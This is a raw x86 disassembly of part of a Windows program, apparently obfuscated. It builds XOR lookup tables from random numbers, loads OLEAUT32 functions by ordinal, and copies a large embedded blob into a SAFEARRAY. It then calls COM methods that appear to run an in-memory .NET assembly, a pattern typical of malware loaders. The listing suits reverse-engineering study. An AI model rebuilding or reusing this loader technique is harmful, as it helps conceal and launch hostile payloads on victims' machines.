cmp esi, 8
jb 0x404af7
lea ecx, [ebp - 0xf0]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
nop dword [eax]
call edi
and eax, 0x8000000f
jns 0x404b4e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x404b40
mov byte [0x8a8f67], 1
xor edi, edi
nop word [eax + eax]
mov dl, byte [ebp + edi - 0x18]
xor esi, esi
nop word [eax + eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x404b90
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x404bc0
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x404bf0
mov byte [ebp + edi - 0x18], dl
inc edi
cmp edi, 4
jb 0x404b80
cmp byte [0x8a9050], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
jne 0x404c63
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x404c42
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor esi, esi
mov dl, 0xd7
nop
mov cl, byte [ebp + esi - 0x14]
inc esi
xor byte [ebp - 0xf], cl
mov al, cl
xor byte [ebp - 0xe], cl
xor al, dl
xor byte [ebp - 0xd], cl
not cl
mov byte [ebp - 0x10], al
movzx eax, cl
mov edx, dword [eax*4 + 0x8a9058]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
cmp esi, 4
jb 0x404c70
mov al, dl
mov dword [ebp - 0x48], 4
xor al, 4
mov byte [ebp - 0x48], 4
mov esi, dword [ebp - 0x48]
mov ecx, esi
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
shl ecx, 0x18
xor eax, ecx
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x10], eax
shr eax, 8
xor al, 0xcc
mov dword [ebp - 0x28], 4
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
mov byte [ebp - 0x28], 4
mov edx, dword [ebp - 0x28]
mov ecx, edx
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
mov ecx, dword [ebp - 0x18]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
movzx ecx, cl
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
imul edx, ecx, 0xffffff80
movzx ecx, byte [ebp - 0x15]
imul ecx, ecx, 0xff
sub edx, ecx
mov ecx, dword [ebp - 0x58]
dec edx
and ecx, eax
mov eax, dword [ebp - 0x18]
xor ecx, edx
cmp byte [0x8a9050], 0
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], eax
jne 0x404d71
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop dword [eax]
nop dword [eax + eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x404d50
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor edx, edx
mov cl, 0xd7
nop dword [eax]
mov al, byte [ebp + edx - 0x54]
inc edx
xor byte [ebp - 0xf], al
xor cl, al
xor byte [ebp - 0xe], al
xor byte [ebp - 0xd], al
not al
mov byte [ebp - 0x10], cl
movzx ecx, al
mov ecx, dword [ecx*4 + 0x8a9058]
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
cmp edx, 4
jb 0x404d80
movzx eax, byte [ebp - 0x28]
mov dword [ebp - 0x40], 4
mov byte [ebp - 0x40], al
movzx eax, byte [ebp - 0x48]
mov esi, dword [ebp - 0x40]
mov dword [ebp - 0x30], 4
mov byte [ebp - 0x30], al
mov al, cl
mov edi, dword [ebp - 0x30]
xor al, 4
mov byte [ebp - 0x10], al
mov edx, edi
mov eax, dword [ebp - 0x10]
shl edx, 0x18
xor eax, edx
shl edi, 0x10
mov dword [ebp - 0x10], eax
mov edx, esi
shr eax, 8
xor al, 0xcc
shl edx, 0x18
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
xor eax, edx
shl esi, 8
mov edx, dword [ebp - 0x58]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, edi
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, esi
and ecx, eax
xor ecx, dword [ebp - 0x14]
cmp ecx, edx
je 0x404e40
mov esi, dword [0x8a9454]
sub esp, 0x28
mov eax, esp
push ecx
push edx
mov ecx, eax
call fcn.00401510
lea ecx, [ebp - 0x54]
call esi
mov eax, dword [ebp - 0x54]
jmp 0x404e43
mov eax, dword [ebp - 0x18]
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x40], eax
jne 0x404fea
xor esi, esi
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0x24]
call fcn.00401410
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0x3c]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0x34]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x404e58
lea ecx, [ebp - 0x24]
call fcn.00401410
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor esi, esi
call edi
and eax, 0x8000000f
jns 0x404f3e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x20]
push dword [ebp - 0x24]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x404f30
lea ecx, [ebp - 0x24]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call edi
and eax, 0x8000000f
jns 0x404f80
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x404f72
lea ecx, [ebp - 0x2c]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call edi
and eax, 0x8000000f
jns 0x404fc2
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x404fb4
mov byte [0x8a8f67], 1
jmp 0x404ff0
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, eax
mov dword [ebp - 0x30], eax
mov dl, byte [ebp + eax - 0x40]
lea eax, [ebp + eax - 0x40]
xor esi, esi
mov dword [ebp - 0x14], eax
nop dword [eax]
nop word [eax + eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x405010
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x405040
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x405070
mov eax, dword [ebp - 0x14]
mov byte [eax], dl
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 4
jb 0x404ff5
mov eax, dword [ebp - 0x40]
lea ecx, [ebp - 0x54]
mov dword [ebp - 0x60], eax
call fcn.00401690
mov ecx, dword [ebp - 0x84]
lea edx, [ebp - 0x60]
push edx
push 0x758c88
push 0x758bf8
mov eax, dword [ecx]
push ecx
call dword [eax + 0xc]
test eax, eax
jns 0x4050e1
call fcn.00402ec0
mov ecx, dword [ebp - 0x60]
lea edx, [ebp - 0xb0]
push edx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x28]
test eax, eax
js 0x4050fe
cmp dword [ebp - 0xb0], 0
jne 0x405103
call fcn.00402ec0
mov ecx, dword [ebp - 0x60]
lea edx, [ebp - 0x64]
push edx
push 0x758c78
mov dword [ebp - 0x64], 0
mov eax, dword [ecx]
push 0x758c68
push ecx
call dword [eax + 0x24]
test eax, eax
jns 0x40512a
call fcn.00402ec0
mov eax, dword [ebp - 0x64]
push eax
mov ecx, dword [eax]
call dword [ecx + 0x28]
test eax, eax
jns 0x40513c
call fcn.00402ec0
mov ecx, dword [ebp - 0x64]
mov eax, dword [ecx]
lea edx, [ebp - 0x88]
mov dword [ebp - 4], 0xffffffff
push edx
push ecx
mov dword [ebp - 0x88], 0
call dword [eax + 0x34]
test eax, eax
jns 0x405166
call fcn.00402ec0
mov eax, dword [ebp - 0x88]
test eax, eax
je 0x405f78
mov ecx, dword [eax]
lea edx, [ebp - 0x90]
mov dword [ebp - 4], 0xffffffff
push edx
push 0x758c58
push eax
mov dword [ebp - 0x90], 0
call dword [ecx]
test eax, eax
jns 0x40519f
call fcn.00402ec0
push str.OLEAUT32.dll
lea ecx, [ebp - 0xac]
mov dword [ebp - 0x68], 0
mov dword [ebp - 0xb8], 0x47200
mov dword [ebp - 0xb4], 0
call fcn.00406030
cmp dword [ebp - 0x98], 0x10
lea eax, [ebp - 0xac]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmovae eax, dword [ebp - 0xac]
push eax
call esi
push 0xf
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0xb8]
push ecx
push 1
push 0x11
call eax
mov ecx, dword [ebp - 0x98]
mov dword [ebp - 0x28], eax
cmp ecx, 0x10
jb 0x40523c
mov edx, dword [ebp - 0xac]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405232
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405232
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005277e2
add esp, 8
push str.OLEAUT32.dll
lea ecx, [ebp - 0x80]
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0x98], 0xf
mov byte [ebp - 0xac], 0
mov dword [ebp - 0x8c], 0
call fcn.00406030
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
push eax
call esi
push 0x17
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x8c]
push ecx
push dword [ebp - 0x28]
call eax
mov ecx, dword [ebp - 0x6c]
mov dword [ebp - 0x14], eax
cmp ecx, 0x10
jb 0x4052cd
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4052c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x4052c0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005277e2
mov eax, dword [ebp - 0x14]
add esp, 8
test eax, eax
jns 0x4052d6
call fcn.00402ec0
push 0x47200
push 0x861228
push dword [ebp - 0x8c]
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea ecx, [ebp - 0x80]
push str.OLEAUT32.dll
call fcn.00406030
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
push eax
call esi
push 0x18
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x28]
call eax
mov ecx, dword [ebp - 0x6c]
mov esi, eax
cmp ecx, 0x10
jb 0x40534f
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x405345
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x405345
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005277e2
add esp, 8
test esi, esi
jns 0x405358
call fcn.00402ec0
mov esi, dword [ebp - 0x90]
test esi, esi
je 0x405f78
mov eax, dword [esi]
mov eax, dword [eax + 0xb4]
mov dword [ebp - 0x14], eax
mov dword [ebp - 4], 2
mov eax, dword [ebp - 0x68]
test eax, eax
je 0x405385
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
lea eax, [ebp - 0x68]
mov dword [ebp - 4], 0xffffffff
push eax
push dword [ebp - 0x28]
push esi
call dword [ebp - 0x14]
test eax, eax
jns 0x4053a0
call fcn.00402ec0
mov eax, dword [ebp - 0x68]
test eax, eax
je 0x405f78
mov ecx, dword [eax]
lea edx, [ebp - 0x94]
mov dword [ebp - 4], 0xffffffff
push edx
push eax
mov dword [ebp - 0x94], 0
call dword [ecx + 0x40]
test eax, eax
jns 0x4053dc
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push 0x10
call esi
xorps xmm0, xmm0
push 0x10
movups xmmword [ebp - 0x140], xmm0
call esi
add esp, 8
lea ecx, [ebp - 0x80]
xorps xmm0, xmm0
mov eax, 1
movups xmmword [ebp - 0xa4], xmm0
mov word [ebp - 0xa4], ax
push str.OLEAUT32.dll
call fcn.00406030
cmp dword [ebp - 0x6c], 0x10
lea eax, [ebp - 0x80]
cmovae eax, dword [ebp - 0x80]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0x19b
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push 0
push 0xc
call eax
mov ecx, dword [ebp - 0x6c]
mov esi, eax
cmp ecx, 0x10
jb 0x405478
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40546e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40546e
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005277e2
add esp, 8
mov eax, dword [ebp - 0x94]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
test eax, eax
je 0x405f78
mov ecx, dword [eax]
movups xmm0, xmmword [ebp - 0xa4]
mov edx, dword [ecx + 0x94]
lea ecx, [ebp - 0x140]
push ecx
push esi
sub esp, 0x10
mov ecx, esp
push eax
movups xmmword [ecx], xmm0
call edx
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x18], 0
jne 0x405674
xor esi, esi
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0x3c]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0xf8]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0x100]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x4054d6
lea ecx, [ebp - 0x3c]
call fcn.00401410
xor esi, esi
call edi
and eax, 0x8000000f
jns 0x4055be
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x4055b0
lea ecx, [ebp - 0x108]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call edi
and eax, 0x8000000f
jns 0x405603
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x4055f5
lea ecx, [ebp - 0x110]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
call edi
and eax, 0x8000000f
jns 0x40564e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x405640
mov byte [0x8a8f67], 1
xor eax, eax
mov dword [ebp - 0x30], eax
nop dword [eax]
mov dl, byte [ebp + eax - 0x18]
lea eax, [ebp + eax - 0x18]
xor esi, esi
mov dword [ebp - 0x14], eax
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x405690
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd0]
xor al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x4056c0
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9010]
xor al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x4056f0
mov eax, dword [ebp - 0x14]
mov byte [eax], dl
mov eax, dword [ebp - 0x30]
inc eax
mov dword [ebp - 0x30], eax
cmp eax, 4
jb 0x405680
cmp byte [0x8a9051], 0
mov dword [ebp - 0x20], 0
jne 0x405751
mov dword [0x8a9454], 0x401650
mov byte [0x8a9051], 1
cmp byte [0x8a9050], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
jne 0x405791
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
nop word [eax + eax]
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x405770
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor edx, edx
mov cl, 0xd7
nop dword [eax]
mov al, byte [ebp + edx - 0x14]
inc edx
xor byte [ebp - 0xf], al
xor cl, al
xor byte [ebp - 0xe], al
xor byte [ebp - 0xd], al
not al
movzx eax, al
mov byte [ebp - 0x10], cl
mov ecx, dword [eax*4 + 0x8a9058]
xor ecx, dword [ebp - 0x10]
mov dword [ebp - 0x10], ecx
cmp edx, 4
jb 0x4057a0
mov al, cl
mov dword [ebp - 0x14], ecx
xor al, 4
mov dword [ebp - 0x30], 4
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
mov byte [ebp - 0x30], 4
mov esi, dword [ebp - 0x30]
mov ecx, esi
shl ecx, 0x18
xor eax, ecx
mov dword [ebp - 0x40], 4
mov dword [ebp - 0x10], eax
shr eax, 8
xor al, 0xcc
mov byte [ebp - 0x40], 4
mov edx, dword [ebp - 0x40]
mov ecx, edx
mov byte [ebp - 0xf], al
mov eax, dword [ebp - 0x10]
shl ecx, 0x18
xor eax, ecx
shl esi, 0x10
movzx ecx, byte [ebp - 0x15]
mov dword [ebp - 0x10], eax
shr eax, 0x10
mov byte [ebp - 0xe], al
mov eax, dword [ebp - 0x10]
xor eax, esi
shl edx, 8
mov dword [ebp - 0x10], eax
shr eax, 0x18
xor al, 0xae
imul ecx, ecx, 0xff
mov byte [ebp - 0xd], al
mov eax, dword [ebp - 0x10]
xor eax, edx
mov edx, dword [ebp - 0x18]
and eax, dword [ebp - 0x14]
movzx edx, dl
neg edx
shl edx, 7
sub edx, ecx
dec edx
xor edx, eax
cmp byte [0x8a9052], 0
mov dword [ebp - 0x20], edx
jne 0x40586d
mov dword [0x8a9454], 0x401650
mov byte [0x8a9052], 1
cmp byte [0x8a8f67], 0
mov dword [ebp - 0x18], 0
jne 0x405a24
xor esi, esi
mov dword [ebp - 0x28], esi
lea ecx, [ebp - 0x3c]
call fcn.00401410
call edi
cdq
push edx
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00528990
push 0
push 0x10
push edx
push eax
call fcn.00528990
inc eax
lea ecx, [ebp - 0x118]
xor eax, 0x10
shl eax, 0xa
or eax, 0x1010101
mov dword [esi + 0x8a9010], eax
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x20
push edx
push eax
call fcn.00528990
mov ecx, dword [ebp - 0x28]
inc eax
xor eax, 0x20
shl eax, 0xb
or eax, 0x1010101
mov dword [ecx + 0x8a8fd0], eax
lea ecx, [ebp - 0x120]
call fcn.00401410
mov edi, dword [eax]
mov esi, dword [eax + 4]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 0x38], esi
call dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
cdq
push edx
push eax
push esi
push edi
call fcn.00528990
push 0
push 0x40
push edx
push eax
call fcn.00528990
mov esi, dword [ebp - 0x28]
inc eax
mov edi, dword [sym.imp.api_ms_win_crt_utility_l1_1_0.dll_rand]
xor eax, 0x40
shl eax, 0xc
or eax, 0x1010101
mov dword [esi + 0x8a8f90], eax
add esi, 4
mov dword [ebp - 0x28], esi
cmp esi, 0x40
jl 0x405886
lea ecx, [ebp - 0x3c]
call fcn.00401410
xor esi, esi
call edi
and eax, 0x8000000f
jns 0x40596e
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x38]
push dword [ebp - 0x3c]
call fcn.00528990
mov byte [esi + 0x8a8f8c], al
inc esi
cmp esi, 4
jb 0x405960
lea ecx, [ebp - 0x128]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
call edi
and eax, 0x8000000f
jns 0x4059b3
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f84], al
inc esi
cmp esi, 8
jb 0x4059a5
lea ecx, [ebp - 0x130]
call fcn.00401410
xor esi, esi
mov ecx, dword [eax]
mov eax, dword [eax + 4]
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x14], eax
nop word [eax + eax]
call edi
and eax, 0x8000000f
jns 0x4059fe
dec eax
or eax, 0xfffffff0
inc eax
inc al
movsx eax, al
cdq
push edx
push eax
push dword [ebp - 0x14]
push dword [ebp - 0x1c]
call fcn.00528990
mov byte [esi + 0x8a8f78], al
inc esi
cmp esi, 0xc
jb 0x4059f0
mov byte [0x8a8f67], 1
xor edi, edi
nop word [eax + eax]
mov dl, byte [ebp + edi - 0x18]
xor esi, esi
nop word [eax + eax]
movzx ecx, byte [esi + 0x8a8f8c]
inc esi
mov al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor al, byte [ecx*4 + 0x8a9010]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 4
jb 0x405a40
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f84]
inc esi
mov al, byte [ecx*4 + 0x8a8fd2]
xor al, byte [ecx*4 + 0x8a8fd1]
xor al, byte [ecx*4 + 0x8a8fd0]
xor dl, al
xor dl, byte [ecx*4 + 0x8a8fd3]
cmp esi, 8
jb 0x405a70
xor esi, esi
nop dword [eax]
movzx ecx, byte [esi + 0x8a8f78]
inc esi
mov al, byte [ecx*4 + 0x8a9012]
xor al, byte [ecx*4 + 0x8a9011]
xor al, byte [ecx*4 + 0x8a9010]
xor dl, al
xor dl, byte [ecx*4 + 0x8a9013]
cmp esi, 0xc
jb 0x405aa0
mov byte [ebp + edi - 0x18], dl
inc edi
cmp edi, 4
jb 0x405a30
cmp byte [0x8a9050], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x14], eax
jne 0x405b13
mov edx, 0xfeeddccb
mov ecx, 0x8a9058
mov eax, edx
sub edx, 0xffff
xor eax, 0xababdbf3
mov dword [ecx], eax
add ecx, 4
cmp ecx, 0x8a9454
jl 0x405af2
mov byte [0x8a9050], 1
mov dword [ebp - 0x10], 0xfae9e8d7
xor esi, esi
mov dl, 0xd7
nop
mov cl, byte [ebp + esi - 0x14]
inc esi
xor byte [ebp - 0xf], cl
mov al, cl
xor byte [ebp - 0xe], cl
xor al, dl
xor byte [ebp - 0xd], cl
not cl
mov byte [ebp - 0x10], al
movzx eax, cl
mov edx, dword [eax*4 + 0x8a9058]
xor edx, dword [ebp - 0x10]
mov dword [ebp - 0x10], edx
cmp esi, 4
jb 0x405b20
mov al, dl
mov dword [ebp - 0x48], 4
xor al, 4
mov byte [ebp - 0x48], 4
mov esi, dword [ebp - 0x48]
mov ecx, esi
mov byte [ebp - 0x10], al
mov eax, dword [ebp - 0x10]
shl ecx, 0x18
xor eax, ecx
